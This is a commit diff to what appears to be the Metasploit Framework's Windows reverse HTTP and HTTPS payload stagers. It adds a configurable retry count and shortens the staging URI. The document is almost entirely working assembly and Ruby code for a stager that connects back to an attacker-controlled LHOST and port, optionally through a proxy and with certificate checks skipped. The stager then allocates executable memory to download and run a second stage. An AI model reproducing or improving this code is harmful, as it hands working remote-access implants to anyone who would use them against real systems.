Fix yard docs, fix retries, trim bytes, retested and working
parent
69a808b744
commit
05138524e3
|
@ -28,11 +28,12 @@ module Payload::Windows::ReverseHttp
|
|||
register_advanced_options(
|
||||
[
|
||||
OptInt.new('StagerURILength', [false, 'The URI length for the stager (at least 5 bytes)']),
|
||||
OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails', 10]),
|
||||
OptString.new('PayloadProxyHost', [false, 'An optional proxy server IP address or hostname']),
|
||||
OptPort.new('PayloadProxyPort', [false, 'An optional proxy server port']),
|
||||
OptString.new('PayloadProxyUser', [false, 'An optional proxy server username']),
|
||||
OptString.new('PayloadProxyPass', [false, 'An optional proxy server password']),
|
||||
OptEnum.new('PayloadProxyType', [false, 'The type of HTTP proxy (HTTP or SOCKS)', 'HTTP', ['HTTP', 'SOCKS']]),
|
||||
OptEnum.new('PayloadProxyType', [false, 'The type of HTTP proxy (HTTP or SOCKS)', 'HTTP', ['HTTP', 'SOCKS']])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
|
@ -46,7 +47,8 @@ module Payload::Windows::ReverseHttp
|
|||
ssl: false,
|
||||
host: datastore['LHOST'],
|
||||
port: datastore['LPORT'],
|
||||
url: "/" + generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITW))
|
||||
url: generate_small_uri,
|
||||
retry_count: datastore['StagerRetryCount'])
|
||||
end
|
||||
|
||||
conf = {
|
||||
|
@ -59,7 +61,8 @@ module Payload::Windows::ReverseHttp
|
|||
proxy_port: datastore['PayloadProxyPort'],
|
||||
proxy_user: datastore['PayloadProxyUser'],
|
||||
proxy_pass: datastore['PayloadProxyPass'],
|
||||
proxy_type: datastore['PayloadProxyType']
|
||||
proxy_type: datastore['PayloadProxyType'],
|
||||
retry_count: datastore['StagerRetryCount']
|
||||
}
|
||||
|
||||
generate_reverse_http(conf)
|
||||
|
@ -130,24 +133,23 @@ module Payload::Windows::ReverseHttp
|
|||
end
|
||||
|
||||
#
|
||||
# Dynamic payload generation
|
||||
# Generate an assembly stub with the configured feature set and options.
|
||||
#
|
||||
# @option opts [Bool] :ssl Whether or not to enable SSL
|
||||
# @option opts [String] :url The URI to request during staging
|
||||
# @option opts [String] :host The host to connect to
|
||||
# @option opts [Fixnum] :port The port to connect to
|
||||
# @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh
|
||||
# @option opts [String] :proxy_host The optional proxy server host to use
|
||||
# @option opts [Fixnum] :proxy_port The optional proxy server port to use
|
||||
# @option opts [String] :proxy_type The optional proxy server type, one of HTTP or SOCKS
|
||||
# @option opts [String] :proxy_user The optional proxy server username
|
||||
# @option opts [String] :proxy_pass The optional proxy server password
|
||||
# @option opts [Fixnum] :retry_count The number of times to retry a failed request before giving up
|
||||
#
|
||||
def asm_reverse_http(opts={})
|
||||
|
||||
#
|
||||
# options should contain:
|
||||
# ssl: (true|false)
|
||||
# url: "/url_to_request"
|
||||
# host: [hostname]
|
||||
# port: [port]
|
||||
# exitfunk: [process|thread|seh|sleep]
|
||||
# proxy_host: [proxy-server]
|
||||
# proxy_port: [port]
|
||||
# proxy_user: [username]
|
||||
# proxy_pass: [password]
|
||||
# proxy_type: [HTTP|SOCKS]
|
||||
#
|
||||
|
||||
retry_count = [opts[:retry_count].to_i, 1].max
|
||||
proxy_enabled = !!(opts[:proxy_host].to_s.strip.length > 0)
|
||||
proxy_info = ""
|
||||
|
||||
|
@ -202,25 +204,19 @@ module Payload::Windows::ReverseHttp
|
|||
push esp ; Push a pointer to the "wininet" string on the stack.
|
||||
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
|
||||
call ebp ; LoadLibraryA( "wininet" )
|
||||
|
||||
set_retry:
|
||||
push.i8 8 ; retry 8 times should be enough
|
||||
pop edi
|
||||
|
||||
xor ebx, ebx ; Set ebx to NULL to use in future arguments
|
||||
^
|
||||
|
||||
if proxy_enabled
|
||||
asm << %Q^
|
||||
call get_proxy_server
|
||||
db "#{proxy_info}", 0x00
|
||||
get_proxy_server:
|
||||
pop ecx
|
||||
internetopen:
|
||||
push ebx ; DWORD dwFlags
|
||||
push esp ; LPCTSTR lpszProxyBypass ("" = empty string)
|
||||
push ecx ; LPCTSTR lpszProxyName (NULL)
|
||||
push.i8 3 ; DWORD dwAccessType (INTERNET_OPEN_TYPE_PROXY = 3)
|
||||
call get_proxy_server
|
||||
db "#{proxy_info}", 0x00
|
||||
get_proxy_server:
|
||||
; LPCTSTR lpszProxyName (via call)
|
||||
push 3 ; DWORD dwAccessType (INTERNET_OPEN_TYPE_PROXY = 3)
|
||||
push ebx ; LPCTSTR lpszAgent (NULL)
|
||||
push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" )
|
||||
call ebp
|
||||
|
@ -242,7 +238,7 @@ module Payload::Windows::ReverseHttp
|
|||
internetconnect:
|
||||
push ebx ; DWORD_PTR dwContext (NULL)
|
||||
push ebx ; dwFlags
|
||||
push.i8 3 ; DWORD dwService (INTERNET_SERVICE_HTTP)
|
||||
push 3 ; DWORD dwService (INTERNET_SERVICE_HTTP)
|
||||
push ebx ; password (NULL)
|
||||
push ebx ; username (NULL)
|
||||
push #{opts[:port]} ; PORT
|
||||
|
@ -261,15 +257,14 @@ module Payload::Windows::ReverseHttp
|
|||
|
||||
if proxy_enabled && proxy_user
|
||||
asm << %Q^
|
||||
; DWORD dwBufferLength (length of username)
|
||||
push #{proxy_user.length}
|
||||
call set_proxy_username
|
||||
proxy_username:
|
||||
db "#{proxy_user}",0x00
|
||||
set_proxy_username:
|
||||
pop ecx ; Save the proxy username into ecx
|
||||
; DWORD dwBufferLength (length of username)
|
||||
push #{proxy_user.length}
|
||||
push ecx ; LPVOID lpBuffer (username)
|
||||
push.i8 43 ; DWORD dwOption (INTERNET_OPTION_PROXY_USERNAME)
|
||||
; LPVOID lpBuffer (username from previous call)
|
||||
push 43 ; DWORD dwOption (INTERNET_OPTION_PROXY_USERNAME)
|
||||
push esi ; hConnection
|
||||
push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
|
||||
call ebp
|
||||
|
@ -278,15 +273,14 @@ module Payload::Windows::ReverseHttp
|
|||
|
||||
if proxy_enabled && proxy_pass
|
||||
asm << %Q^
|
||||
; DWORD dwBufferLength (length of password)
|
||||
push #{proxy_pass.length}
|
||||
call set_proxy_password
|
||||
proxy_password:
|
||||
db "#{proxy_pass}",0x00
|
||||
set_proxy_password:
|
||||
pop ecx ; Save the proxy password into ecx
|
||||
; DWORD dwBufferLength (length of password)
|
||||
push #{proxy_pass.length}
|
||||
push ecx ; LPVOID lpBuffer (password)
|
||||
push.i8 44 ; DWORD dwOption (INTERNET_OPTION_PROXY_PASSWORD)
|
||||
; LPVOID lpBuffer (password from previous call)
|
||||
push 44 ; DWORD dwOption (INTERNET_OPTION_PROXY_PASSWORD)
|
||||
push esi ; hConnection
|
||||
push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
|
||||
call ebp
|
||||
|
@ -307,6 +301,11 @@ module Payload::Windows::ReverseHttp
|
|||
call ebp
|
||||
xchg esi, eax ; save hHttpRequest in esi
|
||||
|
||||
; Store our retry counter in the edi register
|
||||
set_retry:
|
||||
push #{retry_count}
|
||||
pop edi
|
||||
|
||||
send_request:
|
||||
^
|
||||
|
||||
|
@ -321,9 +320,9 @@ module Payload::Windows::ReverseHttp
|
|||
;0x00000100 | ; SECURITY_FLAG_IGNORE_UNKNOWN_CA
|
||||
;0x00000080 ; SECURITY_FLAG_IGNORE_REVOCATION
|
||||
mov eax, esp
|
||||
push.i8 4 ; sizeof(dwFlags)
|
||||
push 4 ; sizeof(dwFlags)
|
||||
push eax ; &dwFlags
|
||||
push.i8 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS)
|
||||
push 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS)
|
||||
push esi ; hHttpRequest
|
||||
push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
|
||||
call ebp
|
||||
|
@ -364,7 +363,7 @@ module Payload::Windows::ReverseHttp
|
|||
|
||||
asm << %Q^
|
||||
allocate_memory:
|
||||
push.i8 0x40 ; PAGE_EXECUTE_READWRITE
|
||||
push 0x40 ; PAGE_EXECUTE_READWRITE
|
||||
push 0x1000 ; MEM_COMMIT
|
||||
push 0x00400000 ; Stage allocation (4Mb ought to do us)
|
||||
push ebx ; NULL as we dont care where the allocation is
|
||||
|
|
|
@ -40,10 +40,11 @@ module Payload::Windows::ReverseHttps
|
|||
# Generate the simple version of this stager if we don't have enough space
|
||||
if self.available_space.nil? || required_space > self.available_space
|
||||
return generate_reverse_https(
|
||||
ssl: true,
|
||||
host: datastore['LHOST'],
|
||||
port: datastore['LPORT'],
|
||||
url: "/" + generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITW),
|
||||
ssl: true)
|
||||
url: generate_small_uri,
|
||||
retry_count: datastore['StagerRetryCount'])
|
||||
end
|
||||
|
||||
conf = {
|
||||
|
@ -56,7 +57,8 @@ module Payload::Windows::ReverseHttps
|
|||
proxy_port: datastore['PayloadProxyPort'],
|
||||
proxy_user: datastore['PayloadProxyUser'],
|
||||
proxy_pass: datastore['PayloadProxyPass'],
|
||||
proxy_type: datastore['PayloadProxyType']
|
||||
proxy_type: datastore['PayloadProxyType'],
|
||||
retry_count: datastore['StagerRetryCount']
|
||||
}
|
||||
|
||||
generate_reverse_https(conf)
|
||||
|
|
Loading…
Reference in New Issue